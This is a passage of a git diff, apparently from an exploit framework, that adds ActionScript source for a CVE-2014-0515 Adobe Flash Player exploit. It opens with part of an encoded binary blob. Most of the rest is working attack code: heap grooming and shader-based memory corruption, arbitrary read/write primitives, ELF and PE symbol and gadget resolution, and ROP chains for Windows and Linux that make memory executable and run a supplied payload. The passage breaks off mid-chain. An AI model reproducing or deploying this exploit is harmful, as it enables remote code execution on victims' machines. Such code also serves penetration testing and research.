zt6n~28-o>yeR6?2nlX_UFafX+Syt_@#Ylj)Z0!@!V687{lIB1A;5JJt+Z6pF)n-J( zn$A+NRK6};OPAPs{o2r&{%X||0laU21q8gn!MqmuYgk-b7Us7$vAO+87G3zl4hysA zHSsU4V8Kkt(Ee~C(iYu-m#%^i3;+t2bX-vNX}{>pQ+LJh4DM>?#Zjt#cB=53ipeCFmR5(%Gw z%m{VC3e~cdF`u0pV*##QS8cbr17Kj~--DFI6Qhw2kq%3IP`qqM`5Uy`!Kp%B2L5tpYn@H}sn;5Tne!6RoEt>4*p%q$QLsMvP30C@~CMncg1YXDf)FymSor4G@Sphl`$KF`H6?HtvYP!J#Ej6tZkd0~n1&}IWklG7dP zI4!qc2qzgKEw+2V6d%&ZjYSDA)4PwACN_wIM3)pqFjc{icS5B!EMCV#3d6)|{v+Sl zz+2Six34JRKO;ad21a%5WZ+_>dbqfmBXDdwQV1vKx3T1#)K)7!T~v&ix?*_QpxjZ4 zuM|HwAfgbkQA{Wyny_p+1T>n$27ko&)a3~3z1O&_aj~S==kIXC@bE1Es|l&BNne>qQvW3_ZIR)K@ z7``{U02sF}@r8dKIV>n%HY?6)aa_?dpwJXK-Y@Qy!@p>+?%>Foqd&60qoC&yi^>$k z_FPF(vFE5b)e|U7y?r=45Z?L{9LOQu8FW09afD3(hdc9+D)=o3#UN@(5Mre|)?Q@W zx)}=LNOks%lWG<#p;9~M5A`UKv1v6%R%7-m*U|6{M|ers63&E_Zg~KJ2s;j^3su_R z6u921+K_3I10V!m0GgB@e|glVa7f`tl)+`0H8{}9c96yz+tk4DjPVhUCOf339d76O z0+au8jUJhTF8p$+$h|bJz)n)#;q&3g>b&3AS$Sg$&Bbt(xH`x~I6Yl9Jji7j#60B> z(n~6QAJn0Sfi|_Y*IADL_K55^tTi4wBe^5{i(6Ub9^MEJP;EgDIeCnbA8x6>x;(4i zL^YfzKEbID!AT6*G9@1Go*WYTR-EQkzC?syC`@wy8rNTSNT~v zV-KxkZXw$B!OHKPOfiUF`A6QC?4*#zeGJuTLHMINkdN&W%%U7!l-ADE*mCBzRQ1>p z^_bhg5WsZGWJ;$B1a!Nh+yFHG+IWZS64at$j>u#YaO20plpjr)_A-Qu?AOlZ(G&G6LEc_F>Bpu^}3Rj@sOi&IqG#VJJsc#JzSGnHB zawFDNmV?M3vPV3y?ZckIsf#1pN%_t04&Y$euf3RX!@H_1QXF1AhuAzUvF5WPJu@#p zC4R6JPB9+Luzfx~sMkfu;l3(eQ@F8Uj{n5CXg|enxnkX0W|pWQMNH3&)Hs`>5;avS19bIqFO~d^Z&qU z!a2#wbo+I3qFvfF$6pIY2_f&-^MPLoi*n=s2vEE&mHss_7{z<=9#g-3!^}&)pXrFf zTELaY=sP9SCh`I|orxBh%?3viV&mGBM!6+(GT>dcmH4S)vKBPg$FqktJAK%I6o#k$ zOGKBV(4Y6PpA@aNvfS2C773^Cl z#=eh$kZVqsONZ?TG|;eQD5Ck>_XXypi`Xe+!kZGI`9xb-S!p^OfFrKW%R{AB8k6Ur zC|&3r5lTuq(okO7DH)hsQ=HCRQF530te*ZhbW$#F*$!_fq)c57EA+;I7L)%$_DU~K;sOq z0n}5qhbuB!w(IT$LjNp}=aj#WfgfAls3)&kE86SpK?iclYugplDBqLMYO>OO(0D40 z`9jlj>&;;fATRS$Ju0bPz`P+Co)obA6v(;1UrYJ!3eV+m)qzSq+eLlgpyFw&Qcbo5i8Xt3)*Ihdy-^$60 zcrtD*xg#(kjP6z0lNaRI;E^xx8*lk>5?ZcXQKFa28a1h$*FwN6nOquRNs$Z{IWpJ8 z4PLEVFfeh~|IsG`XsGM~CqGt4cQz$j$Y6HpPUZhYHuA$}TtUj2Y8+sFJOp zxHBkK+Yd*Wl5+hfs3KEW#B)3%HG}pGeGAPOw)-o8*hC8?hegg@w^5RYfk_SnX zJ|E~XBiuS*fz|F}g}k4PC5(YKsJlOzQ$#>D8=Kz+2+^TL2?U=dJqlJ(leKE+T*qX^(-SZ=Y?BgK|wp+2M#Z5f+F|ncE@If z0X}gV2XTcsMR8PO(hj~#wZigdSM^35BG!dFS5wc4wEef!q*-dHwe|i0WBxd ziiK^aqH@l;2*BrNgqZMU-*hiso#P>ww$;AMhO%4jft5GPiQxy{Rn9{EpnlWEohZYO(rqkW`}W9JJF} zkowBaj|i6Ap}|{p(rLw*sE9WfX_u}KAF4Mjz0A;%g*P;edRB8@uj0D^@1zx9Ka+<2 zjG57BfTYy;U~C0~VSESH~TE^92wW*C+293k971{gFTlghv zT4{JQp1k4rY&=4|>>PM7WG1bNGJ+NeDGLfHZm6`I-~*uhb$0J|;A=nPGcPxt<9bl{ z^MtuB*tza_SEGRRvMNbV9;zwD#Oy0%RWW?l~rb=hF^h7X1Z z^p)dQa~k@=Iaxn~ME;f+%IoV9##XKQ6E!#;D1U(f~JS z1Uu|_l2xB2g`I1d52E*Fx)s^f)M!pB`h*Tgz2S5m*B`SVRAeG8zHo1xu}f2#(m!fX9VfM&awZ^LqN7YFKfPunr+973)%RpW30V zpp(}Tpt^Y{WAQBp>n=$j8qc|Eo$tC%_k-C`q+Yv@1w;o$K9@C+%NLYEuv~?0)*ag zBf?C!Np0Zn?VSl+kuB-HS!M56+J)AVhC+=#EF^hc#2p2sG+j#!W*?H(Al~lI-nyRS z>eo~$%kIE@u=pKV=SplY7f^j;JAo6)204NxvSPShrl#JivV`F>*Op1l+3qa-qv_Ns zxw`L@EAkmKRu4^mmdBn)WTl9Z$^Qbo+Q{(edVoLY;|tePpRxj+=&088E2L}V)oye0 z;jjV}>H6l{XK|2581szYC5;E~+nKo;3D(?*#ZvGV0WF?DU9o?R{X#=$4s<>M3|p3H z(xXJo8Wb$g=}~t#7&QS1`gbs7DAk^k zLK`{vBAM9x3{_hc!q|TiqR5RK98P?P_eX`fuag=eh9ye3nN_{JT$026=ZZ}e_;#2T z;ECSq7I8kl1v++ZQ42%PA^lp*AeXhj0Od&iV5^qo;WW>?k>_fsz8J}Zy!{`eZ7)rm zAfU|gMO&Ne#rkDau*x1NNuNWSk~YLTsqASO)4xVpRZHZO=(Th2tMt^HlWPlcUB=Lg zMBBi`B3oO;+5qT5<-l`LVhIgoLBe94z!Y?;8?ZMzg3ni!2peo$XFcP293&WE)g9Q| zVRBkro3^Z%b30_Xcj_3`mq~`dyT)-hg&2^lET30Z94%u3HBce^UPd`S~ zzzk=j^ta^B#39-^azyjlo)ckX&Gz#jv0x|5Oa_XOj|NlML`X%lC@>fOj4aKA$lSe0}>&Ib1c^R0r^YBbFHX0AfC;0z=_JS&^b_V#bO0$uJ*kJ9i z-SND^9-lfkh!=4e%s{d!6GB}HaU*TvP%i!z_XXchn{SYWgPK+LRPlvC(#A_^Y!D@P zapxCywPCMp$#FO{NIkFLm6!qyXs|*SEw9xK!`kkHo0;KgLyi-m5!jAg_C#fw2@zoxmQ%fAV(rOvPXSL-yEb{H4@;v7LQ;0|Nef!!y#|G`~Uy| literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2014-0515/Elf.as b/external/source/exploits/CVE-2014-0515/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Exploit.as b/external/source/exploits/CVE-2014-0515/Exploit.as new file mode 100755 index 0000000000..7270d46963 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Exploit.as @@ -0,0 +1,140 @@ +//compile with AIR SDK 13.0: mxmlc Exploit.as -o Exploit.swf +package { + import flash.display.Sprite + import flash.utils.ByteArray + import flash.display.Shader + import flash.system.Capabilities + import flash.utils.Endian + import __AS3__.vec.Vector + import __AS3__.vec.* + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite { + + protected var Shad:Class + private var uv:Vector. + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit(){ + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + var shader:Shader + if (platform == "linux") { + this.Shad = GraphShadLinux + } else { + this.Shad = GraphShadWindows + } + + super() + var i:* = 0 + var j:* = 0 + var offset:int = -1 + var corrupted_vector_idx:int = -1 + + // Memory massage + Logger.log("Memory massage") + var array_length:uint = 0x10000 + var vector_size:uint = 34 + var array:Array = new Array() + + i = 0 + while (i < array_length) + { + array[i] = new Vector.(vector_size) + i++; + } + + i = 0 + while (i < array_length) + { + array[i].length = 0 + i++ + } + + i = 0x0200 + while (i < array_length) + { + array[(i - (2 * (j % 2)))].length = 0x0100 + array[(i - (2 * (j % 2)))][0] = 0xdeedbeef + array[(i - (2 * (j % 2)))][1] = 0xdeadbeef + array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2))) + i = (i + 28) + j++ + } + + // Overflow and Search for corrupted vector + Logger.log("Overflow and Search for corrupted vector") + var shadba:ByteArray = (new this.Shad() as ByteArray) + shadba.position = 232 + if (Capabilities.os.indexOf("Windows 8") >= 0) + { + shadba.writeUnsignedInt(2472) + } + shadba.position = 0 + + Logger.log("corrupting") + + shader = new Shader() + try + { + shader.byteCode = (new this.Shad() as ByteArray); + } catch(e) { } + + i = 0 + while (i < array_length) + { + if (array[i].length > 0x0100) + { + corrupted_vector_idx = i + break + } + i++ + } + + if (corrupted_vector_idx == -1) { + Logger.log("Exploit - Corrupted vector not found.") + return + } + + for(i = 0; i < array[corrupted_vector_idx].length; i++) { + if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) { + Logger.log("w00t!, found, corrupting ") + array[corrupted_vector_idx][i] = 0xffffffff + offset = i + break + } + } + + if (offset == -1) { + Logger.log("Exploit - Secondary vector not corrupted") + return + } + + + for(i = 0; i < array.length; i++) { + if (array[i].length == 0xffffffff) { + Logger.log("super corrupted found") + uv = array[i] + Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString()) + uv[0x3ffffffc - offset] = 34 + Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString()) + } + } + Logger.log('done? Exploiting!') + exploiter = new Exploiter(this, platform, os, payload, uv) +// uv[0x3ffffffe] = 0x100 +// Logger.log(uv.length.toString()) + } + } +}//package diff --git a/external/source/exploits/CVE-2014-0515/ExploitByteArray.as b/external/source/exploits/CVE-2014-0515/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/ExploitVector.as b/external/source/exploits/CVE-2014-0515/ExploitVector.as new file mode 100644 index 0000000000..d0283d803e --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x100 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Exploiter.as b/external/source/exploits/CVE-2014-0515/Exploiter.as new file mode 100644 index 0000000000..0a971409f6 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address 